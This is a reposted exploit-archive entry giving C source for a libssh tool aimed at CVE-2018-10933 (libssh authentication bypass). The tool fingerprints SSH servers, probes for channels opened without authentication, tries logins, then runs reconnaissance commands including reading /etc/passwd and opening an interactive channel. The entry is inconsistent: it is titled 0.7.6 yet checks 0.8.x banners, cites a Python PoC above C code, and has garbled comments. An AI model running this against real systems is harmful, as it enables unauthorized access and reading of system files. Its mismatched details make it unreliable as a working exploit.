Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

libssh 0.7.6 Advanced SSH Security Testing Tool
libssh 0.7.6 Advanced SSH Security Testing Tool
libssh 0.7.6 Advanced SSH Security Testing Tool

=============================================================================================================================================
| # Title libssh 0.7.6 Advanced SSH Security Testing Tool

=============================================================================================================================================
| # Title : libssh 0.7.6 Advanced SSH Security Testing Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.libssh.org/files/0.7/libssh-0.7.6.tar.xz |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214884/ & CVE-2018-10933

[+] Summary : This project is an advanced SSH security testing tool built using libssh, designed for authorized security assessments and research purposes.
It provides robust session management, signal handling, safe memory management, and multiple operational modes.

[+] The tool supports :

Reliable SSH connection handling with retries and timeouts

Detection and assessment of CVE?2018?10933 based on server banners and behavior

Enumeration of available authentication methods

Secure authentication via public key, password, and keyboard?interactive methods

Remote command execution with proper stdout/stderr handling

Optional interactive channel support

Clean resource cleanup and interruption safety

Actual exploitation of CVE?2018?10933 is not performed by default and requires a patched or modified libssh client, ensuring the tool remains suitable for defensive testing and vulnerability assessment.

Overall, this codebase serves as a professional PoC and auditing framework for evaluating SSH server security, identifying misconfigurations, and verifying patch levels in controlled environments.

[+] PoC : python3 poc.py

#include <libssh/libssh.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

typedef struct {
ssh_session session;
ssh_channel channel;
int authenticated;
int connected;
char *hostname;
char *username;
} ssh_context_t;

volatile sig_atomic_t g_interrupted = 0;

void signal_handler(int sig) {
(void)sig;
g_interrupted = 1;
}

void setup_signal_handlers(void) {
struct sigaction sa;
sa.sa_handler = signal_handler;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);

sigaction(SIGINT, &sa, NULL);
sigaction(SIGTERM, &sa, NULL);
sigaction(SIGPIPE, &sa, NULL);
}

int ssh_context_init(ssh_context_t *ctx, const char *host, int port, const char *user) {
memset(ctx, 0, sizeof(ssh_context_t));

ctx->session = ssh_new();
if (!ctx->session) {
fprintf(stderr, "[-] Failed to create SSH session\n");
return -1;
}

ssh_options_set(ctx->session, SSH_OPTIONS_HOST, host);
ssh_options_set(ctx->session, SSH_OPTIONS_PORT, &port);

if (user && strlen(user) > 0) {
ctx->username = strdup(user);
if (!ctx->username) {
ssh_free(ctx->session);
ctx->session = NULL;
return -1;
}
ssh_options_set(ctx->session, SSH_OPTIONS_USER, user);
} else {
const char *env_user = getenv("USER");
if (env_user) {
ctx->username = strdup(env_user);
} else {
ctx->username = strdup("unknown");
}
if (!ctx->username) {
ssh_free(ctx->session);
ctx->session = NULL;
return -1;
}
ssh_options_set(ctx->session, SSH_OPTIONS_USER, ctx->username);
}

int timeout = 15;
ssh_options_set(ctx->session, SSH_OPTIONS_TIMEOUT, &timeout);
ssh_options_set(ctx->session, SSH_OPTIONS_KNOWNHOSTS, "/dev/null");
ssh_options_set(ctx->session, SSH_OPTIONS_COMPRESSION, "yes");
ssh_options_set(ctx->session, SSH_OPTIONS_COMPRESSION_LEVEL, "6");

ctx->hostname = strdup(host);
if (!ctx->hostname) {
free(ctx->username);
ssh_free(ctx->session);
ctx->session = NULL;
return -1;
}

return 0;
}

int ssh_connect_with_retry(ssh_context_t *ctx, int max_retries) {
printf("[*] Connecting to %s as %s...\n", ctx->hostname, ctx->username);

for (int i = 0; i < max_retries; i++) {
if (g_interrupted) {
printf("[!] Interrupted by user\n");
return SSH_ERROR;
}

int rc = ssh_connect(ctx->session);
if (rc == SSH_OK) {
ctx->connected = 1;

const char *cipher = ssh_get_cipher(ctx->session);
const char *hmac = ssh_get_hmac(ctx->session);
const char *kex = ssh_get_kex_algo(ctx->session);
const char *srv = ssh_get_servername(ctx->session);

printf("[+] Connected to %s\n", srv ? srv : ctx->hostname);
printf("[+] Cipher: %s\n", cipher ? cipher : "unknown");
printf("[+] HMAC: %s\n", hmac ? hmac : "unknown");
printf("[+] Key exchange: %s\n", kex ? kex : "unknown");

return SSH_OK;
}

fprintf(stderr, "[-] Connection attempt %d failed: %s\n",
i + 1, ssh_get_error(ctx->session));

ssh_disconnect(ctx->session);

if (i < max_retries - 1) {
printf("[*] Retrying in 2 seconds...\n");
for (int j = 0; j < 20 && !g_interrupted; j++) {
usleep(100000); // 100ms
}
}
}

fprintf(stderr, "[-] Failed to connect after %d attempts\n", max_retries);
return SSH_ERROR;
}

int ssh_authenticate(ssh_context_t *ctx, const char *password) {
int rc;
enum ssh_auth_e auth_methods;

printf("[*] Attempting authentication...\n");

rc = ssh_userauth_none(ctx->session, NULL);

if (rc == SSH_AUTH_SUCCESS) {
printf("[!] Server accepts 'none' authentication (INSECURE!)\n");

}

auth_methods = ssh_userauth_list(ctx->session, NULL);
printf("[+] Available authentication methods:\n");

if (auth_methods & SSH_AUTH_METHOD_PUBLICKEY)
printf(" - Public key\n");
if (auth_methods & SSH_AUTH_METHOD_INTERACTIVE)
printf(" - Keyboard interactive\n");
if (auth_methods & SSH_AUTH_METHOD_PASSWORD)
printf(" - Password\n");
if (auth_methods & SSH_AUTH_METHOD_HOSTBASED)
printf(" - Host based\n");
if (auth_methods & SSH_AUTH_METHOD_GSSAPI_MIC)
printf(" - GSSAPI\n");

if (auth_methods & SSH_AUTH_METHOD_PUBLICKEY) {
printf("[*] Trying public key authentication...\n");
rc = ssh_userauth_publickey_auto(ctx->session, NULL, NULL);
if (rc == SSH_AUTH_SUCCESS) {
printf("[+] Authenticated with public key\n");
ctx->authenticated = 1;
return SSH_OK;
} else if (rc == SSH_AUTH_PARTIAL) {
printf("[!] Partial authentication with public key\n");
}
}

if ((auth_methods & SSH_AUTH_METHOD_PASSWORD) && password) {
printf("[*] Trying password authentication...\n");
rc = ssh_userauth_password(ctx->session, NULL, password);
if (rc == SSH_AUTH_SUCCESS) {
printf("[+] Authenticated with password\n");
ctx->authenticated = 1;
return SSH_OK;
} else if (rc == SSH_AUTH_PARTIAL) {
printf("[!] Partial authentication with password\n");
}
}

if (auth_methods & SSH_AUTH_METHOD_INTERACTIVE) {
printf("[*] Trying keyboard-interactive authentication...\n");
rc = ssh_userauth_kbdint(ctx->session, NULL, NULL);

while (rc == SSH_AUTH_INFO && !g_interrupted) {
const char *instruction = ssh_userauth_kbdint_getinstruction(ctx->session);
int nprompts = ssh_userauth_kbdint_getnprompts(ctx->session);

if (instruction && strlen(instruction) > 0)
printf("[?] Instruction: %s\n", instruction);

if (nprompts > 0) {
if (password && nprompts == 1) {
rc = ssh_userauth_kbdint_setanswer(ctx->session, 0, password);
if (rc < 0) break;
}
rc = ssh_userauth_kbdint(ctx->session, NULL, NULL);
}
}

if (rc == SSH_AUTH_SUCCESS) {
printf("[+] Authenticated with keyboard-interactive\n");
ctx->authenticated = 1;
return SSH_OK;
}
}

printf("[*] Trying any available method...\n");
rc = ssh_userauth_publickey_auto(ctx->session, NULL, NULL);
if (rc == SSH_AUTH_SUCCESS) {
ctx->authenticated = 1;
return SSH_OK;
}

fprintf(stderr, "[-] All authentication methods failed\n");
return SSH_ERROR;
}

int ssh_execute_command(ssh_context_t *ctx, const char *command,
char **output, size_t *output_len) {
if (!ctx->connected) {
fprintf(stderr, "[-] Not connected\n");
return SSH_ERROR;
}

if (!ctx->authenticated) {
fprintf(stderr, "[-] Not authenticated\n");
return SSH_ERROR;
}

printf("[*] Executing command: %s\n", command);

ssh_channel channel = ssh_channel_new(ctx->session);
if (!channel) {
fprintf(stderr, "[-] Failed to create channel\n");
return SSH_ERROR;
}

int rc = ssh_channel_open_session(channel);
if (rc != SSH_OK) {
fprintf(stderr, "[-] Failed to open channel: %s\n",
ssh_get_error(ctx->session));
ssh_channel_free(channel);
return SSH_ERROR;
}

rc = ssh_channel_request_exec(channel, command);
if (rc != SSH_OK) {
fprintf(stderr, "[-] Failed to execute command: %s\n",
ssh_get_error(ctx->session));
ssh_channel_close(channel);
ssh_channel_free(channel);
return SSH_ERROR;
}

char *result = malloc(1);
if (!result) {
fprintf(stderr, "[-] Memory allocation failed\n");
ssh_channel_close(channel);
ssh_channel_free(channel);
return SSH_ERROR;
}
result[0] = '\0';

size_t total = 0;
char buffer[4096];

fd_set readfds;
struct timeval tv;

while (!g_interrupted) {
FD_ZERO(&readfds);
int sock = ssh_get_fd(ctx->session);
if (sock >= 0) {
FD_SET(sock, &readfds);
}

tv.tv_sec = 1;
tv.tv_usec = 0;

int select_rc = select(sock + 1, &readfds, NULL, NULL, &tv);
if (select_rc < 0 && errno != EINTR) {
break;
}

if (select_rc > 0 && FD_ISSET(sock, &readfds)) {
int nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);

if (nbytes > 0) {
char *tmp = realloc(result, total + nbytes + 1);
if (!tmp) {
fprintf(stderr, "[-] Memory reallocation failed\n");
free(result);
ssh_channel_close(channel);
ssh_channel_free(channel);
return SSH_ERROR;
}
result = tmp;

memcpy(result + total, buffer, nbytes);
total += nbytes;
result[total] = '\0';
}
else if (nbytes == 0) {
break;
}
}

if (ssh_channel_is_eof(channel)) {
break;
}
}

if (!g_interrupted) {
while (1) {
int nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 1);

if (nbytes > 0) {
// ??? stderr ?? stdout
char *tmp = realloc(result, total + nbytes + 5);
if (!tmp) {
free(result);
ssh_channel_close(channel);
ssh_channel_free(channel);
return SSH_ERROR;
}
result = tmp;

// ????? ???? ????
memcpy(result + total, "[!] ", 4);
total += 4;

memcpy(result + total, buffer, nbytes);
total += nbytes;
result[total] = '\0';
}
else {
break;
}
}
}

ssh_channel_send_eof(channel);
ssh_channel_close(channel);
ssh_channel_free(channel);

if (output) {
*output = result;
} else {
free(result);
result = NULL;
}

if (output_len) {
*output_len = total;
}

return SSH_OK;
}

int ssh_open_interactive_channel(ssh_context_t *ctx) {
if (ctx->channel) {
ssh_channel_free(ctx->channel);
ctx->channel = NULL;
}

ctx->channel = ssh_channel_new(ctx->session);
if (!ctx->channel) {
fprintf(stderr, "[-] Failed to create channel\n");
return SSH_ERROR;
}

int rc = ssh_channel_open_session(ctx->channel);
if (rc != SSH_OK) {
fprintf(stderr, "[-] Failed to open channel: %s\n",
ssh_get_error(ctx->session));
ssh_channel_free(ctx->channel);
ctx->channel = NULL;
return SSH_ERROR;
}

printf("[+] Interactive channel opened\n");
return SSH_OK;
}

int exploit_cve_2018_10933(ssh_context_t *ctx) {
printf("[*] CVE-2018-10933 Exploit by indoushka\n");
printf("========================================\n");

const char *banner = ssh_get_servername(ctx->session);
if (banner) {
printf("[+] Server banner: %s\n", banner);

if (strstr(banner, "libssh") &&
(strstr(banner, "0.8.3") || strstr(banner, "0.8.2") ||
strstr(banner, "0.8.1") || strstr(banner, "0.8.0"))) {
printf("[!] Server may be vulnerable to CVE-2018-10933\n");
} else {
printf("[-] Server version may not be vulnerable\n");
}
}

printf("[!] Actual exploitation requires:\n");
printf(" 1. Patched libssh client with CVE-2018-10933 patch\n");
printf(" 2. Direct packet manipulation at protocol level\n");
printf(" 3. Server without additional authentication checks\n");

ssh_channel test_channel = ssh_channel_new(ctx->session);
if (!test_channel) {
return SSH_ERROR;
}

int rc = ssh_channel_open_session(test_channel);
if (rc == SSH_OK) {
printf("[!] WARNING: Channel opened without authentication!\n");
printf("[!] This could indicate a vulnerable server\n");

ssh_channel_send_eof(test_channel);
ssh_channel_close(test_channel);
ssh_channel_free(test_channel);

return SSH_OK;
}

ssh_channel_free(test_channel);

printf("[*] Attempting authentication bypass...\n");
printf("[-] Exploit requires patched libssh client\n");
printf("[-] Build libssh with CVE-2018-10933 patch first\n");

return SSH_ERROR;
}

int check_potential_vulnerability(ssh_context_t *ctx) {
printf("[*] Security Assessment\n");
printf("======================\n");

const char *banner = ssh_get_servername(ctx->session);
int potential_vuln = 0;

if (banner) {
printf("[+] Server banner: %s\n", banner);

const char *vulnerable_versions[] = {
"libssh_0.8.3", "libssh_0.8.2", "libssh_0.8.1",
"libssh_0.8.0", "libssh_0.7", NULL
};

for (int i = 0; vulnerable_versions[i]; i++) {
if (strstr(banner, vulnerable_versions[i])) {
printf("[!] POTENTIALLY VULNERABLE: %s detected\n",
vulnerable_versions[i]);
potential_vuln = 1;
break;
}
}
}

if (ssh_get_cipher(ctx->session)) {
printf("[+] Cipher: %s\n", ssh_get_cipher(ctx->session));
}

if (potential_vuln) {
printf("\n[!] RECOMMENDATIONS:\n");
printf(" 1. Upgrade libssh to version 0.8.4 or later\n");
printf(" 2. Apply security patches\n");
printf(" 3. Test with actual exploit to confirm\n");
return 1;
} else {
printf("\n[+] Server appears to be patched\n");
return 0;
}
}

void ssh_context_cleanup(ssh_context_t *ctx) {

if (ctx->channel) {
if (ssh_channel_is_open(ctx->channel)) {
ssh_channel_send_eof(ctx->channel);
ssh_channel_close(ctx->channel);
}
ssh_channel_free(ctx->channel);
ctx->channel = NULL;
}

if (ctx->session) {
if (ctx->connected) {
ssh_disconnect(ctx->session);
}
ssh_free(ctx->session);
ctx->session = NULL;
}

if (ctx->hostname) {
free(ctx->hostname);
ctx->hostname = NULL;
}

if (ctx->username) {
free(ctx->username);
ctx->username = NULL;
}

ctx->connected = 0;
ctx->authenticated = 0;
}

int main(int argc, char **argv) {
setup_signal_handlers();

ssh_context_t ctx;
char *host = "localhost";
int port = 22;
char *user = NULL;
char *password = NULL;
int test_only = 0;
int exploit_only = 0;
int assessment_only = 0;

for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-h") == 0 && i + 1 < argc) {
host = argv[++i];
} else if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) {
port = atoi(argv[++i]);
} else if (strcmp(argv[i], "-u") == 0 && i + 1 < argc) {
user = argv[++i];
} else if (strcmp(argv[i], "-P") == 0 && i + 1 < argc) {
password = argv[++i];
} else if (strcmp(argv[i], "--test") == 0) {
test_only = 1;
} else if (strcmp(argv[i], "--exploit") == 0) {
exploit_only = 1;
} else if (strcmp(argv[i], "--assess") == 0) {
assessment_only = 1;
} else if (strcmp(argv[i], "--help") == 0) {
printf("SSH Security Tool with CVE-2018-10933 assessment\n");
printf("Usage: %s [options]\n", argv[0]);
printf("\nOptions:\n");
printf(" -h <host> Target host (default: localhost)\n");
printf(" -p <port> SSH port (default: 22)\n");
printf(" -u <user> Username\n");
printf(" -P <password> Password\n");
printf(" --test Test connection only\n");
printf(" --exploit Attempt exploit (needs patched libssh)\n");
printf(" --assess Security assessment only\n");
printf(" --help Show this help\n");
return 0;
}
}

if (ssh_context_init(&ctx, host, port, user) != 0) {
return 1;
}

int ret = 0;

if (ssh_connect_with_retry(&ctx, 3) != SSH_OK) {
ssh_context_cleanup(&ctx);
return 1;
}

if (g_interrupted) {
ssh_context_cleanup(&ctx);
return 0;
}

if (test_only) {
printf("[*] Connection test successful\n");
ssh_context_cleanup(&ctx);
return 0;
}

if (assessment_only) {
check_potential_vulnerability(&ctx);
ssh_context_cleanup(&ctx);
return 0;
}

if (exploit_only) {
exploit_cve_2018_10933(&ctx);
ssh_context_cleanup(&ctx);
return 0;
}

printf("\n[*] Full interactive mode\n");

if (check_potential_vulnerability(&ctx)) {
printf("\n[*] Server may be vulnerable. Trying exploit...\n");
if (exploit_cve_2018_10933(&ctx) == SSH_OK) {
printf("[!] EXPLOIT ATTEMPT INDICATES SUCCESS\n");
}
}

if (!ctx.authenticated) {
if (ssh_authenticate(&ctx, password) != SSH_OK) {
printf("\n[*] Authentication failed\n");
}
}

if (ctx.authenticated && !g_interrupted) {
printf("\n[*] Starting command execution...\n");

const char *commands[] = {
"id",
"whoami",
"pwd",
"uname -a",
"cat /etc/passwd | head -5",
NULL
};

for (int i = 0; commands[i] != NULL && !g_interrupted; i++) {
char *output = NULL;
size_t output_len = 0;

if (ssh_execute_command(&ctx, commands[i], &output, &output_len) == SSH_OK) {
printf("\n$ %s\n", commands[i]);
if (output && output_len > 0) {
printf("%.*s\n", (int)output_len, output);
}
free(output);
}

if (i < 4) {
sleep(1);
}
}

if (!g_interrupted) {
printf("\n[*] Trying to open interactive shell...\n");
if (ssh_open_interactive_channel(&ctx) == SSH_OK) {
printf("[+] Use channel for further operations\n");
sleep(1);
}
}
}

if (g_interrupted) {
printf("\n[!] Interrupted by user\n");
}

ssh_context_cleanup(&ctx);
printf("\n[+] Session ended\n");

return ret;
}

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================

Social Media Share